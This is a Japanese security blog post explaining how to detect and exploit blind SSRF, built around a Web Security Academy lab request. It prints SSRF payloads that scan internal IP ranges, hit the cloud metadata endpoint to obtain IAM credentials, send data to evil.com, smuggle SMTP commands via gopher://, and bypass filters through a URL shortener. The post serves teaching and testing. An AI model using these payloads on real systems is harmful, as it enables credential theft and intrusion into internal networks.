Shikata Ga Nai

Private? There is no such things.

Blind SSRFの発見と攻撃手法

Hello there, ('ω')ノ

Blind SSRF(ブラインドSSRF)脆弱性は、レスポンスが攻撃者に直接返されないため、通常の方法では検出が難しいです。しかし、OAST(Out-of-band Application Security Testing)技術を使用すると、Blind SSRFの存在を特定し、悪用できる可能性があります。


1. Blind SSRFの発見方法

① Out-of-band(OAST)を利用した検出

Blind SSRF を検出する最も確実な方法は、外部サーバーに対するリクエストを強制し、それを監視する ことです。

攻撃の流れ
1. 攻撃者が管理する外部ドメイン(Burp Collaborator など)を用意
2. そのドメインを含むURLをSSRFのエントリーポイントに送信
3. サーバーがそのURLに対してHTTPリクエストを送信したかどうかを監視
4. リクエストが確認できれば、SSRF脆弱性が存在する!


② Burp Collaboratorを利用したBlind SSRFの検出

Burp SuiteのBurp Collaboratorを利用すると、簡単にBlind SSRFのテストが可能 です。

🔹 攻撃手順

  1. Burp Collaboratorを開き、ユニークなドメインを生成
    • 例: x6x7p6.burpcollaborator.net
  2. このドメインをSSRFのパラメータ(stockApi など)に挿入し、リクエストを送信 ```http POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118

    stockApi=http://x6x7p6.burpcollaborator.net ```

  3. Burp Collaboratorでリクエストの発生を監視
    • DNSリクエストが発生すれば、アプリケーションはCollaboratorのドメインを解決しようとした
    • HTTPリクエストが発生すれば、SSRFが完全に実行可能!

成功すると、アプリケーションが外部ドメインへリクエストを送信していることを確認できる。


2. Blind SSRFの影響をテストする

Blind SSRFが存在することが確認できたら、次にどこまで攻撃が可能か をテストします。

① 内部ネットワークスキャン

内部ネットワークのサーバーを探るため、異なるIPレンジへのリクエストを試す

stockApi=http://192.168.1.1:80
stockApi=http://10.0.0.5:8080
stockApi=http://172.16.0.2/admin

レスポンスの遅延やエラーメッセージを分析し、内部ネットワークの構成を把握する。


② クラウドメタデータサービスへのアクセス

AWSやGCPなどのクラウド環境では、169.254.169.254 にアクセスするとメタデータ情報が取得できる。

stockApi=http://169.254.169.254/latest/meta-data/

成功すると、クラウドのIAMクレデンシャルが取得できる可能性がある!


③ ログポイズニングによる情報窃取

アプリケーションのログにSSRFリクエストを記録させ、後で攻撃者がその情報を回収する方法。

stockApi=http://evil.com/logger?data=steal_this_info

後で evil.com にアクセスし、ログに記録された情報を取得する。


3. Blind SSRFのネットワーク制限の回避

一部のアプリケーションでは、DNSリクエストは通るが、HTTPリクエストがブロックされる ことがあります。

🔹 なぜDNSリクエストだけ通るのか?

  • 多くの企業は、外部とのDNS通信を許可しているが、HTTPリクエストはファイアウォールで制限している
  • そのため、Burp CollaboratorでDNSリクエストは観測できても、HTTPリクエストはブロックされる ことがある。

🔹 回避方法

  1. 異なるプロトコルを試す

    • gopher://ftp:// などのプロトコルを使用して、内部サーバーにアクセスする。 http stockApi=gopher://192.168.0.1:25/_MAIL FROM:attacker@evil.com
  2. 外部サービスのリダイレクトを利用

    • 例えば、GoogleやTwitterの短縮URLサービスを利用して、リクエストを転送させる。 http stockApi=http://bit.ly/evil_redirect

4. Blind SSRFの攻撃のまとめ

攻撃手法 目的
Burp Collaboratorを使う SSRFの検出
内部ネットワークスキャン 内部サーバーの調査
クラウドメタデータAPIの取得 IAMクレデンシャルの漏洩
ログポイズニング サーバーログを利用した情報窃取
異なるプロトコルを利用 HTTPブロックの回避

🚨 Blind SSRFはレスポンスが見えないが、適切な手法を使えば影響を特定し、深刻な攻撃に発展する可能性がある!
🚀 攻撃者はBurp CollaboratorやDNSリクエストの監視を活用し、Blind SSRFを検出して悪用する!

Best regards, (^^ゞ